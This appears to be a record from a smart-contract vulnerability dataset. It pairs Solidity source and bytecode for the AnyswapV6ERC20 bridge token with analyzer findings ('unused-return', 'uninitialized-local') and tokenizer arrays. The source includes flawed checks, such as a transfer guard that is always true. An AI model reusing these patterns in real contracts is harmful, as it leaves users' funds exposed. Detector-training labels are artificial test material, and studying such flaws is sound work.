656420666f7220616c6c0000000000000000602082015250565b6000614544603883613bc3565b915061454f826144e8565b604082019050919050565b6000602082019050818103600083015261457381614537565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b60006145d6603183613bc3565b91506145e18261457a565b604082019050919050565b60006020820190508181036000830152614605816145c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061464682613c73565b915061465183613c73565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146865761468561460c565b5b828201905092915050565b600061469c82613c73565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146cf576146ce61460c565b5b600182019050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b6000614736602b83613bc3565b9150614741826146da565b604082019050919050565b6000602082019050818103600083015261476581614729565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081905092915050565b50565b60006147b660008361479b565b91506147c1826147a6565b600082019050919050565b60006147d7826147a9565b9150819050919050565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b600061483d602c83613bc3565b9150614848826147e1565b604082019050919050565b6000602082019050818103600083015261486c81614830565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b60006148cf602983613bc3565b91506148da82614873565b604082019050919050565b600060208201905081810360008301526148fe816148c2565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000614961602a83613bc3565b915061496c82614905565b604082019050919050565b6000602082019050818103600083015261499081614954565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b60006149cd601983613bc3565b91506149d882614997565b602082019050919050565b600060208201905081810360008301526149fc816149c0565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b6000614a5f602f83613bc3565b9150614a6a82614a03565b604082019050919050565b60006020820190508181036000830152614a8e81614a52565b9050919050565b600081905092915050565b6000614aab82613bb8565b614ab58185614a95565b9350614ac5818560208601613bd4565b80840191505092915050565b60008190508160005260206000209050919050565b60008154614af381614392565b614afd8186614a95565b94506001821660008114614b185760018114614b2957614b5c565b60ff19831686528186019350614b5c565b614b3285614ad1565b60005b83811015614b5457815481890152600182019150602081019050614b35565b838801955050505b50505092915050565b6000614b718286614aa0565b9150614b7d8285614aa0565b9150614b898284614ae6565b9150819050949350505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614bf2602683613bc3565b9150614bfd82614b96565b604082019050919050565b60006020820190508181036000830152614c2181614be5565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000614c84602c83613bc3565b9150614c8f82614c28565b604082019050919050565b60006020820190508181036000830152614cb381614c77565b9050919050565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b6000614d16602983613bc3565b9150614d2182614cba565b604082019050919050565b60006020820190508181036000830152614d4581614d09565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614da8602483613bc3565b9150614db382614d4c565b604082019050919050565b60006020820190508181036000830152614dd781614d9b565b9050919050565b6000614de982613c73565b9150614df483613c73565b925082821015614e0757614e0661460c565b5b828203905092915050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000614e6e603283613bc3565b9150614e7982614e12565b604082019050919050565b60006020820190508181036000830152614e9d81614e61565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614ede82613c73565b9150614ee983613c73565b925082614ef957614ef8614ea4565b5b828204905092915050565b6000614f0f82613c73565b9150614f1a83613c73565b925082614f2a57614f29614ea4565b5b828206905092915050565b600081519050919050565b600082825260208201905092915050565b6000614f5c82614f35565b614f668185614f40565b9350614f76818560208601613bd4565b614f7f81613c07565b840191505092915050565b6000608082019050614f9f6000830187613d08565b614fac6020830186613d08565b614fb96040830185613d9e565b8181036060830152614fcb8184614f51565b905095945050505050565b600081519050614fe581613ad0565b92915050565b60006020828403121561500157615000613a9a565b5b600061500f84828501614fd6565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600061507d602083613bc3565b915061508882615047565b602082019050919050565b600060208201905081810360008301526150ac81615070565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b60006150e9601c83613bc3565b91506150f4826150b3565b602082019050919050565b60006020820190508181036000830152615118816150dc565b905091905056fea2646970667358221220d80aa3919e94e5f9748e863bb99d43768c7a6616c0a483d19b27f3348f05d7a364736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2692, 2546, 23777, 2620, 2063, 19481, 19961, 2546, 2581, 2546, 16048, 2575, 2581, 10322, 2497, 2692, 22907, 27717, 3540, 2692, 2475, 7959, 2278, 2620, 2475, 3207, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1013, 1013, 13266, 2011, 23325, 15000, 2015, 1013, 1008, 1008, 999, 5860, 19771, 5017, 999, 2122, 8311, 2031, 2042, 2109, 2000, 3443, 14924, 26340, 1010, 1998, 2001, 2580, 2005, 1996, 3800, 2000, 6570, 2111, 2129, 2000, 3443, 6047, 8311, 2006, 1996, 3796, 24925, 2078, 1012, 3531, 3319, 2023, 3642, 2006, 2115, 2219, 2077, 2478, 2151, 1997, 1996, 2206, 3642, 2005, 2537, 1012, 23325, 15000, 2015, 2097, 2025, 2022, 20090, 1999, 2151, 2126, 2065, 2005, 1996, 2224, 1997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,385
0x96b14e64b53b9950d2a4d2292f8dc7d51a4f467a
/** *Submitted for verification at moonbeam.moonscan.io on 2022-04-14 */ /** *Submitted for verification at snowtrace.io on 2022-04-13 */ /** *Submitted for verification at Arbiscan on 2022-04-01 */ /** *Submitted for verification at Arbiscan on 2022-04-01 */ /** *Submitted for verification at Arbiscan on 2022-03-24 */ /** *Submitted for verification at BscScan.com on 2022-03-22 */ /** *Submitted for verification at FtmScan.com on 2022-03-18 */ /** *Submitted for verification at BscScan.com on 2022-03-17 */ /** *Submitted for verification at BscScan.com on 2022-03-15 */ /** *Submitted for verification at BscScan.com on 2022-03-11 */ /** *Submitted for verification at BscScan.com on 2022-03-09 */ /** *Submitted for verification at BscScan.com on 2022-02-11 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface of the ERC2612 standard as defined in the EIP. * * Adds the {permit} method, which can be used to change one's * {IERC20-allowance} without having to send a transaction, by signing a * message. This allows users to spend tokens without having to hold Ether. * * See https://eips.ethereum.org/EIPS/eip-2612. */ interface IERC2612 { /** * @dev Returns the current ERC2612 nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); } /// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can /// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the /// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet. interface IAnyswapV3ERC20 is IERC20, IERC2612 { /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external returns (bool); } interface ITransferReceiver { function onTokenTransfer(address, uint, bytes calldata) external returns (bool); } interface IApprovalReceiver { function onTokenApproval(address, uint, bytes calldata) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AnyswapV6ERC20 is IAnyswapV3ERC20 { using SafeERC20 for IERC20; string public name; string public symbol; uint8 public immutable override decimals; address public immutable underlying; bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public immutable DOMAIN_SEPARATOR; /// @dev Records amount of AnyswapV3ERC20 token owned by account. mapping (address => uint256) public override balanceOf; uint256 private _totalSupply; // init flag for setting immediate vault, needed for CREATE2 support bool private _init; // flag to enable/disable swapout vs vault.burn so multiple events are triggered bool private _vaultOnly; // configurable delay for timelock functions uint public delay = 2*24*3600; // set of minters, can be this bridge or other bridges mapping(address => bool) public isMinter; address[] public minters; // primary controller of the token contract address public vault; address public pendingMinter; uint public delayMinter; address public pendingVault; uint public delayVault; modifier onlyAuth() { require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN"); _; } modifier onlyVault() { require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN"); _; } function owner() public view returns (address) { return mpc(); } function mpc() public view returns (address) { if (block.timestamp >= delayVault) { return pendingVault; } return vault; } function setVaultOnly(bool enabled) external onlyVault { _vaultOnly = enabled; } function initVault(address _vault) external onlyVault { require(_init); vault = _vault; pendingVault = _vault; isMinter[_vault] = true; minters.push(_vault); delayVault = block.timestamp; _init = false; } function setVault(address _vault) external onlyVault { require(_vault != address(0), "AnyswapV3ERC20: address(0x0)"); pendingVault = _vault; delayVault = block.timestamp + delay; } function applyVault() external onlyVault { require(block.timestamp >= delayVault); vault = pendingVault; } function setMinter(address _auth) external onlyVault { require(_auth != address(0), "AnyswapV3ERC20: address(0x0)"); pendingMinter = _auth; delayMinter = block.timestamp + delay; } function applyMinter() external onlyVault { require(block.timestamp >= delayMinter); isMinter[pendingMinter] = true; minters.push(pendingMinter); } // No time delay revoke minter emergency function function revokeMinter(address _auth) external onlyVault { isMinter[_auth] = false; } function getAllMinters() external view returns (address[] memory) { return minters; } function changeVault(address newVault) external onlyVault returns (bool) { require(newVault != address(0), "AnyswapV3ERC20: address(0x0)"); vault = newVault; pendingVault = newVault; emit LogChangeVault(vault, pendingVault, block.timestamp); return true; } function mint(address to, uint256 amount) external onlyAuth returns (bool) { _mint(to, amount); return true; } function burn(address from, uint256 amount) external onlyAuth returns (bool) { require(from != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(from, amount); return true; } function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, address bindaddr) public returns (bool) { require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth"); require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(msg.sender, amount); emit LogSwapout(msg.sender, bindaddr, amount); return true; } /// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}. /// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times. mapping (address => uint256) public override nonces; /// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}. mapping (address => mapping (address => uint256)) public override allowance; event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime); event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount); event LogSwapout(address indexed account, address indexed bindaddr, uint amount); constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) { name = _name; symbol = _symbol; decimals = _decimals; underlying = _underlying; if (_underlying != address(0x0)) { require(_decimals == IERC20(_underlying).decimals()); } // Use init to allow for CREATE2 accross all chains _init = true; // Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens _vaultOnly = false; vault = _vault; pendingVault = _vault; delayVault = block.timestamp; uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } /// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract. function totalSupply() external view override returns (uint256) { return _totalSupply; } function deposit() external returns (uint) { uint _amount = IERC20(underlying).balanceOf(msg.sender); IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount); return _deposit(_amount, msg.sender); } function deposit(uint amount) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, msg.sender); } function deposit(uint amount, address to) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, to); } function depositVault(uint amount, address to) external onlyVault returns (uint) { return _deposit(amount, to); } function _deposit(uint amount, address to) internal returns (uint) { require(underlying != address(0x0) && underlying != address(this)); _mint(to, amount); return amount; } function withdraw() external returns (uint) { return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender); } function withdraw(uint amount) external returns (uint) { return _withdraw(msg.sender, amount, msg.sender); } function withdraw(uint amount, address to) external returns (uint) { return _withdraw(msg.sender, amount, to); } function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) { return _withdraw(from, amount, to); } function _withdraw(address from, uint amount, address to) internal returns (uint) { _burn(from, amount); IERC20(underlying).safeTransfer(to, amount); return amount; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; balanceOf[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); balanceOf[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. function approve(address spender, uint256 value) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } /// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval. /// Emits {Approval} event. /// Requirements: /// - `deadline` must be timestamp in future. /// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments. /// - the signature must use `owner` account's current nonce (see {nonces}). /// - the signer cannot be zero address and must be `owner` account. /// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section]. /// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol. function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, target, spender, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); // _approve(owner, spender, value); allowance[target][spender] = value; emit Approval(target, spender, value); } function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); require(to != address(0) || to != address(this)); uint256 balance = balanceOf[target]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[target] = balance - value; balanceOf[to] += value; emit Transfer(target, to, value); return true; } function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`). /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. function transfer(address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism. /// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`), /// unless allowance is set to `type(uint256).max` /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - `from` account must have at least `value` balance of AnyswapV3ERC20 token. /// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account. function transferFrom(address from, address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); if (from != msg.sender) { // _decreaseAllowance(from, msg.sender, value); uint256 allowed = allowance[from][msg.sender]; if (allowed != type(uint256).max) { require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance"); uint256 reduced = allowed - value; allowance[from][msg.sender] = reduced; emit Approval(from, msg.sender, reduced); } } uint256 balance = balanceOf[from]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[from] = balance - value; balanceOf[to] += value; emit Transfer(from, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } }
0x608060405234801561001057600080fd5b50600436106102b85760003560e01c806370a0823111610182578063bebbf4d0116100e9578063d505accf116100a2578063ec126c771161007c578063ec126c77146106a2578063f75c2664146106b5578063fbfa77cf146106bd578063fca3b5aa146106d057600080fd5b8063d505accf1461065c578063d93f24451461066f578063dd62ed3e1461067757600080fd5b8063bebbf4d0146105ff578063c308124014610612578063c4b740f51461061b578063cae9ca511461062e578063cfbd488514610641578063d0e30db01461065457600080fd5b806395d89b411161013b57806395d89b41146105865780639dc29fac1461058e578063a045442c146105a1578063a9059cbb146105b6578063aa271e1a146105c9578063b6b55f25146105ec57600080fd5b806370a082311461050f5780637ecebe001461052f5780638623ec7b1461054f57806387689e28146105625780638da5cb5b1461056b57806391c5df491461057357600080fd5b80633644e5151161022657806360e232a9116101df57806360e232a914610493578063628d6cba146104a65780636817031b146104b95780636a42b8f8146104cc5780636e553f65146104d55780636f307dc3146104e857600080fd5b80633644e515146104005780633ccfd60b146104275780634000aea01461042f57806340c10f191461044257806352113ba714610455578063605629d61461048057600080fd5b806318160ddd1161027857806318160ddd1461035f57806323b872dd146103675780632e1a7d4d1461037a5780632ebe3fbb1461038d57806330adf81f146103a0578063313ce567146103c757600080fd5b806239d6ec146102bd578062bf26f4146102e3578062f714ce1461030a57806306fdde031461031d578063095ea7b3146103325780630d707df814610355575b600080fd5b6102d06102cb366004611fb1565b6106e3565b6040519081526020015b60405180910390f35b6102d07f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd5981565b6102d0610318366004611fed565b610739565b61032561074d565b6040516102da9190612045565b610345610340366004612078565b6107db565b60405190151581526020016102da565b61035d610835565b005b6003546102d0565b6103456103753660046120a2565b6108f1565b6102d06103883660046120de565b610adc565b61035d61039b3660046120f7565b610aef565b6102d07f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6103ee7f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff90911681526020016102da565b6102d07f1a653d6dd142bb3f079a13defa875c0a5d70a043ec8198197534ee0ea7297e2d81565b6102d0610bc6565b61034561043d366004612112565b610be7565b610345610450366004612078565b610d31565b600b54610468906001600160a01b031681565b6040516001600160a01b0390911681526020016102da565b61034561048e366004612199565b610d73565b6103456104a13660046120f7565b610f83565b6103456104b4366004611fed565b611044565b61035d6104c73660046120f7565b61110c565b6102d060055481565b6102d06104e3366004611fed565b611198565b6104687f000000000000000000000000000000000000000000000000000000000000000081565b6102d061051d3660046120f7565b60026020526000908152604090205481565b6102d061053d3660046120f7565b600d6020526000908152604090205481565b61046861055d3660046120de565b6111d9565b6102d0600c5481565b610468611203565b600954610468906001600160a01b031681565b61032561120d565b61034561059c366004612078565b61121a565b6105a9611279565b6040516102da919061220c565b6103456105c4366004612078565b6112db565b6103456105d73660046120f7565b60066020526000908152604090205460ff1681565b6102d06105fa3660046120de565b6113b1565b6102d061060d366004611fed565b6113f2565b6102d0600a5481565b61035d61062936600461226a565b61142c565b61034561063c366004612112565b61147e565b61035d61064f3660046120f7565b61154b565b6102d06115a4565b61035d61066a366004612199565b611678565b61035d6117e6565b6102d0610685366004612287565b600e60209081526000928352604080842090915290825290205481565b6103456106b03660046122b1565b611851565b6104686118c6565b600854610468906001600160a01b031681565b61035d6106de3660046120f7565b6118f1565b60006106ed6118c6565b6001600160a01b0316336001600160a01b0316146107265760405162461bcd60e51b815260040161071d906122d6565b60405180910390fd5b61073184848461197d565b949350505050565b600061074633848461197d565b9392505050565b6000805461075a9061230d565b80601f01602080910402602001604051908101604052809291908181526020018280546107869061230d565b80156107d35780601f106107a8576101008083540402835291602001916107d3565b820191906000526020600020905b8154815290600101906020018083116107b657829003601f168201915b505050505081565b336000818152600e602090815260408083206001600160a01b03871680855292528083208590555191929091600080516020612520833981519152906108249086815260200190565b60405180910390a350600192915050565b61083d6118c6565b6001600160a01b0316336001600160a01b03161461086d5760405162461bcd60e51b815260040161071d906122d6565b600a5442101561087c57600080fd5b600980546001600160a01b039081166000908152600660205260408120805460ff1916600190811790915592546007805494850181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68890920180546001600160a01b03191692909116919091179055565b60006001600160a01b03831615158061091357506001600160a01b0383163014155b61091c57600080fd5b6001600160a01b0384163314610a16576001600160a01b0384166000908152600e602090815260408083203384529091529020546000198114610a1457828110156109bb5760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563345524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b606482015260840161071d565b60006109c7848361235e565b6001600160a01b0387166000818152600e602090815260408083203380855290835292819020859055518481529394509092600080516020612520833981519152910160405180910390a3505b505b6001600160a01b03841660009081526002602052604090205482811015610a4f5760405162461bcd60e51b815260040161071d90612375565b610a59838261235e565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610a8f9084906123c4565b92505081905550836001600160a01b0316856001600160a01b031660008051602061250083398151915285604051610ac991815260200190565b60405180910390a3506001949350505050565b6000610ae933833361197d565b92915050565b610af76118c6565b6001600160a01b0316336001600160a01b031614610b275760405162461bcd60e51b815260040161071d906122d6565b60045460ff16610b3657600080fd5b600880546001600160a01b039092166001600160a01b03199283168117909155600b80548316821790556000818152600660205260408120805460ff1990811660019081179092556007805492830181559092527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805490931690911790915542600c55600480549091169055565b336000818152600260205260408120549091610be2918161197d565b905090565b60006001600160a01b038516151580610c0957506001600160a01b0385163014155b610c1257600080fd5b3360009081526002602052604090205484811015610c425760405162461bcd60e51b815260040161071d90612375565b610c4c858261235e565b33600090815260026020526040808220929092556001600160a01b03881681529081208054879290610c7f9084906123c4565b90915550506040518581526001600160a01b0387169033906000805160206125008339815191529060200160405180910390a3604051635260769b60e11b81526001600160a01b0387169063a4c0ed3690610ce49033908990899089906004016123dc565b6020604051808303816000875af1158015610d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d279190612424565b9695505050505050565b3360009081526006602052604081205460ff16610d